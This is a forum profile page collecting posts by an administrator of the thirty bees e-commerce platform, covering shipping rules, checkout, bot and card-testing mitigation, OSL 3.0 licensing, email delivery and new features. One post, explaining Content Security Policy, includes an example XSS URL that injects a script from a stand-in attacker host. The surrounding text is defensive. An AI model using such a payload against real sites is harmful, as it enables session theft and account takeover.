Jump to content

Welcome, Guest!

By registering with us, you'll be able to discuss, share and private message with other members of our community.

datakick

Administrators
  • Content Count

    1,933
  • Joined

  • Last visited

  • Days Won

    241

Everything posted by datakick

  1. I believe it's because you set 'Out of range behavior' to 'Apply the cost of the highest'. When the cost is $5, it's out of range of <9.98 ... 9999999>. Carrier is not disabled, but the highest cost is chosen. There is only one range, hence the $20 shipping fee
  2. In my opinion, when customer goes to checkout page, they need to be reassured first. They really want to know is what carrier they can use what payment method they can use the final price And chex tries hard to answer these questions. Customer is not required to log in or create an account before these questions are answered.
  3. Unfortunately I don't have a Samsung device to test this problem. But I don't really believe this is related to device, more likely it's a browser issue. What browser did you use? Can you access javascript console and look if there is any error?
  4. There are other things you can do to make it harder for bots. For example, you can try to change friendly urls for cart and order page, or change html id and class of submit button. Depending on the bot logic this could help (or not). You could also measure time it took to create cookie <--> add product to cart <--> and initiate checkout. If this all took only a few seconds then it's a good indication that it's a bot. This should be fairly easy to implement, using overrides for Cookie.php, Cart.php, and OrderController.php
  5. 34 fake accounts is not much, so I'm not really convinced this is a bot. I would need to see the logs to be more sure, but this could very easily be real people. If that's the case, there's not much you can do. How is this card testing works? Do you use some embedded cart form? If so, I would suggest to get rid of it. There's no real reason to have it, anyway. Customers are pretty accustomed with being redirected to payment gateway to complete the transaction. In fact, there are some customers (myself included) that would abandon transaction if store collects (or pretend to collect) the card information directly. If you already redirect your customer to payment gateway, and they are not able to stop it -- you should consider using different payment provider with better security radars.
  6. The problem is that specific prices are not used only for price reductions. A lot of merchants are using them to have different prices for different group of customers (per customer group/countries/languages/currencies), but that does not mean that the product is considered 'on sale'. Example: my product cost 40 EUR, which equals to 1032 CZK. But I can use specific price and sell it for 1000 CZK in order to have a pretty rounded price. But I don't want thirty bees to automatically show 'on sale' label.
  7. bankwire module set order status to the (configurable) value PS_OS_BANKWIRE. Look into the tb_configuration table and check what status id this reference to. https://github.com/thirtybees/bankwire/blob/master/controllers/front/validation.php#L64 select name, value from tb_configuration where name = 'PS_OS_BANKWIRE'; +----------------+-------+ | name | value | +----------------+-------+ | PS_OS_BANKWIRE | 9 | +----------------+-------+
  8. datakick

    Reduction by payment

    Thirtybees payment processing is very weird. Payment modules use displayPayment hook to inject html code to the checkout page. What is displayed varies significantly from module to module. It can be simple link to the external payment gateway. It can be iframe and bunch of javascript code to display payment popup. It can be form that post data to thirtybees controller, or it can be form that posts data to third party server.It can be whatever, really. Most importantly, there is no event that is emitted when some payment method was selected. What payment option was used is known only after the payment is processed and finalised. And it is too late to modify cart price at this point, since the payment is (can) be already processed. The root of the problem is that the payment modules have too much freedom (and responsibility) on checkout page. AEUC module changed this a little bit. It introduced new hook displayPaymentEU. Instead of returning html code, modules can use this hook to return structured information about their intent. Basically, they ask thirty bees to display payment option with some name, and also say what should happen when user select this option (usually it is redirect to some url, but it can be post form). This hook gives back thirtybees control over checkout flow. Checkout page now manages all payment options itself, and it knows upfront what payment option is selected, etc. But it has its drawbacks as well. The most important one is that payment modules are very restricted with UI they can create. It's no longer possible to display additional input fields on checkout page, simply because there is no way to describe this as a structured data returned by displayPaymentEU hook. For example, you can't have embedded card payment on the checkout page. Another big drawback of this is, well,... not all payment modules support this hook. With checkout pages that use displayPaymentEU hook to collect payment information, it would be possible to implement your requirement, because there exists a point in the flow when we know what payment option was selected, but payment was not performed yet. So if you use AEUC OPC, or modules like chex, it's possible to tweak it, and implement this discount code for payment. But on standard checkout page, it's just not possible to do. There is no single point in the flow that we could hook into and adjust cart price.
  9. datakick

    Reduction by payment

    That's hard to do, because in thirtybees payment option is not part of the cart price calculation. It can be done with some overrides, but you will definitely encounter some problems, especially if you use OPC checkout -- the right / final price will probably not be displayed there.
  10. It's now fixed in bleeding edge
  11. No, it's not that simple. The license give specific rights. You can't just open any open source code and copy this line or that method. It is intellectual property of the author, and using it without the consent is very much illegal. Being it an open source, author granted anyone rights to use the code, but also put a condition on the usage. And in this case, OSL3.0 stipulates that anyone can use such code as long as they retain attribution: As far as I understand that, I can copy any part of the code, as long as I retain any all all copyrights notices in it. The question is the scope - if I copy 1 method from some file, do I need to copy all copyright notices in that file only, or do I need to copy attributions from all files? I don't know. But I definitely don't want this hassle. If thirty bees (and merchants edition) was released under MIT license or similar,, I would definitely have no problem cherry-picking code from Merchants Edition. But since it is released under OSL 3.0, it's definitely not that easy. I don't know what you are trying to say here. I don't pretend that we own the thirty bees code. We don't. It is an open source. I know it's a collection of contributions from lots of authors, and hopefully each contribution was valid under the license. The way I see it, standard contribution model is perfectly in line with licensing agreement. When somebody forks the thirty bees repository, they create derivate work. They implement the change, and create pull request. If fork doesn't contain any new attributions (copyrights notices and such), then it's perfectly fine to merge such PR to the parent project. Because it already contains all copyrights that is present in fork. Similarly, it's perfectly valid to cherry-pick any code from the fork. If the fork contains some copyrights that are not in the parent project, than it's fine to merge the PR as long as it contains all the new copyrights notices If fork contains some new copyrights notices (as merchants edition fork does), and PR does not contain these, then merging such requests would be illegal under the OSL 3 license, and infringing on intellectual property of the author. The same applies for cherry-picking. It would be perfectly fine under the MIT license, though. I understand that you love open source, and you probably hate all this legal nonsense. But the legal stuff exists and should be respected. Open source does not mean that anyone can do to whatever they want with the code. Everyone can do only what license allows them. This is a good example of how important it is to choose proper license for a project. I'm really sad thirty bees is under OSL 3.0, but there's absolutely nothing I can do about it. Guys at prestashop decided that long time ago.
  12. No. That would be too big of a hassle. I believe that we can't just cherry-pick single commit, because that would violate license agreement. We would have to also copy all copyrights and attributions that @Traumflug added to the original thirty bees files (thus transforming them to Merchant Edition). Thirty bees source code would actually become derivate work of ME. That's just silly to me. Merchant edition can cherry-pick our changes, because this fork is already derivate work of thirty bees, and because we mostly didn't change copyrights notices in the header files. Once we add a new copyright notices, or other attributions, to the source code, he will have to copy these as well together with the cherry-pick, even if the commit itself don't contain these notices. He would be breaking the license agreement otherwise. Traumflug has decided to run his own spin-off of thirty bees, as anybody is entitled to do so. I'm not happy about it, but what can I do. We will, however, not allow him to advertise his fork on our servers anymore.
  13. It looks like thirty bees successfully relayed the email to the email delivery software, since there is log entry about this. If the email is not delivered, it can be for various reasons, none of them are tb related 🙂 This often happen when are trying to send email from address that does not allow your server to act as an origin. Other servers will put that email to spambox, or simply drop it. Check your Shop email address in Preferences > Store Contacts, and ensure your server has rights to send email on behalf of that address. Since you already have testing php application for sending emails, you can test it there -- edit it, and use Shop Email address as a 'from' address, and see if the email is delivered. If it is not delivered, then investigate SPF and DKIM associated with domain of this from address.
  14. At the start, you can simply reuse the same functionality you already have for ps17, and assume all features have these two flags enabled.
  15. Of course. Here you can see the db differeces: https://github.com/thirtybees/thirtybees/commit/ee852aef81420882a7a042e2d7978a790c8c37dd#diff-2a48baaddf0416cfb05978271a4ca9a83881e6f54ac663389063ba1d59c28135
  16. 🙂 It happens all the time. And it will continue to happen. It's just not possible to close all the holes in the core, themes, all the native or third party modules, or any third party software that can be installed alongside
  17. You apparently don't understand how XSS attack works. It's not the attacker that interact with the server, it's a third party user. If attacker somehow manage to inject javascript to the page that is rendered for different user, he can steal that user session, and do whatever he wants on behalf that poor user. This can be done, for example, by posting exploit link on public forum, or by directly sending link via email to some known server user. Once the user click on the link attacker gain access to his identity / session / cookies. This problem is much more severe in the back office, when attacker can act as an employee. They can trigger ajax calls to approve or create orders, change pricing of products, create new employee, or whatnot. At that point it is just a series well formed http requests. They can perform the same operations employee can. That's why store owner should never (or rarely) use admin profile. They should create and use different permission profile, to mitigate the risks. On front office XSS is not such a huge deal, but it is still a big problem. The attacker can impersonate the customer, and that can lead to serious issues. For example, I can imagine script that posts message via contact form and ask to ship last order to a different address. Shop owner will, of course, believe this message, because it came from logged-in customer. And they will send the goods to different address. This is a real problem, and CSP can help a lot. It's not silver bullet, of course, but nothing is.
  18. It will be merged with tb core file, possibly causing conflicts. The more code override contains, the more friction it can cause. Just try to put the smallest amount of code that's needed. It will probably be just one or two methods, no more.
  19. Of course they improve security. They wouldn't exists otherwise. They are not intended to stop attackers interacting with the server directly, of course. But they are very useful for preventing cross site scripting, script injections, and similar attacks. Example scenario: Hacker will figure out that some query parameter on your server, say "&id_order=1", is displayed in the page without escaping and validating. Hacker can then create url to your server with this parameter containing javascript. Something like this: http://yourdomain.com/some/page?id_order%3D%3Cscript%20href%3D%22https%3A//attacker.site/malicious_script.js%22%3E This will insert <script src="https://atacker.site/malicious_script.js" /> to the page. And that's bad. The script can now do various things - listen to key strokes to figure out password of your customer. Submit ajax requests to submit orders on his behalf, or submit contact form to send spam emails. And who knows what else. By setting proper CSP on server this problem can be mitigated, to some extent. With strict CSP rules, browsers (the good one) will prevent this injection, and the user won't be affected. Of course, all such security holes must be fixed in the thirty bee code. But we can never be sure that we fixed all. We probably never will. Thus, having strict CSP would definitely help.
  20. The problem with CORS request to api.thirtybees.com will be resolved with the new version of core updater that will be released later this week. Ajax calls to api server were removed and replaced with server-to-server communication. So this particular problem will go away. Please report any additional issues you will find! Thank you
  21. OSL 3.0 is definitely not ideal license for e-commerce. Section 1c) grants you rights And section 5) says that Together, these two sections means that you must disclose source code of all and any modifications, once your server is reachable by public. The license does not specify the mechanism to disclose the source code. You don't have to be proactive, I believe it is sufficient to disclose it on per-request basis (put some info about this to TOS or similar page). Most likely nobody will ever ask you to disclose the source code 🙂 Of course, it's pretty hard (practically impossible) to prove that you are using modified version of thirty bees. You could always claim that you are using overrides or hooks to alter the functionality. And you should ALWAYS use overrides or hooks, never touch core files. That always result in huge headache few months (years) later.
  22. Thank you @haylau, really appreciate your input. ad 1) This feature exists for backwards compatibility, to have more compact back office entry form, and also to prevent data entry issues. If you don't want to use it, you can just allow it for all features, and be done with it. Features are rarely created, but feature values are created more often. ad 2) I totally agree that native multiselect is not very UX friendly. Some more advanced UI element for pre-defined values selection would be nice. I added this to the backlog. Low priority, though ad 3) I believe this should be responsibility of the theme. But... because it's a new feature, theme do not solve this issue. So maybe we could implement it in the core. Into the backlog. ad 4) Good idea
  23. If you already run 1.1.x then there is no big difference to 1.2.0 (of course, depending on what commit exactly your 1.1.x is, but I assume it's recent one) I don't see any reasons why Panda theme shouldn't run on php74, or on thirty bees 1.2.0.
  24. Hi everyone, if you update your store to bleeding edge (main) branch, you will be able to test new functionality: Multiple feature values. It would be great if you could help me test this functionality before it is released in the next major release (1.3.0). Note that for this to work, you will need to go to core updater DB schema, and fix the primary key index in tb_feature_product table: In the future, Core updater will do this automatically during shop upgrade. At the moment this needs to be done manually, though. What this new functionality offers? In the Product features, you can now select two new options: If you enable 'Allows multiple values', you will be able to select multiple feature values, or enter multiple custom values, in product edit page: If you keep 'Allows multiple values' option unchecked, features will behave as before -- only one feature value will be allowed. Please test, and if you find any bugs or have some functionality enhancement request, please write here or file github issue. Thank you all PS: I have updated my test shop to latest bleeding edge, so you can test the functionality even if you don't have your own test server. Just go to https://demo.getdatakick.com/admin561wkvz9k/
×
×
  • Create New...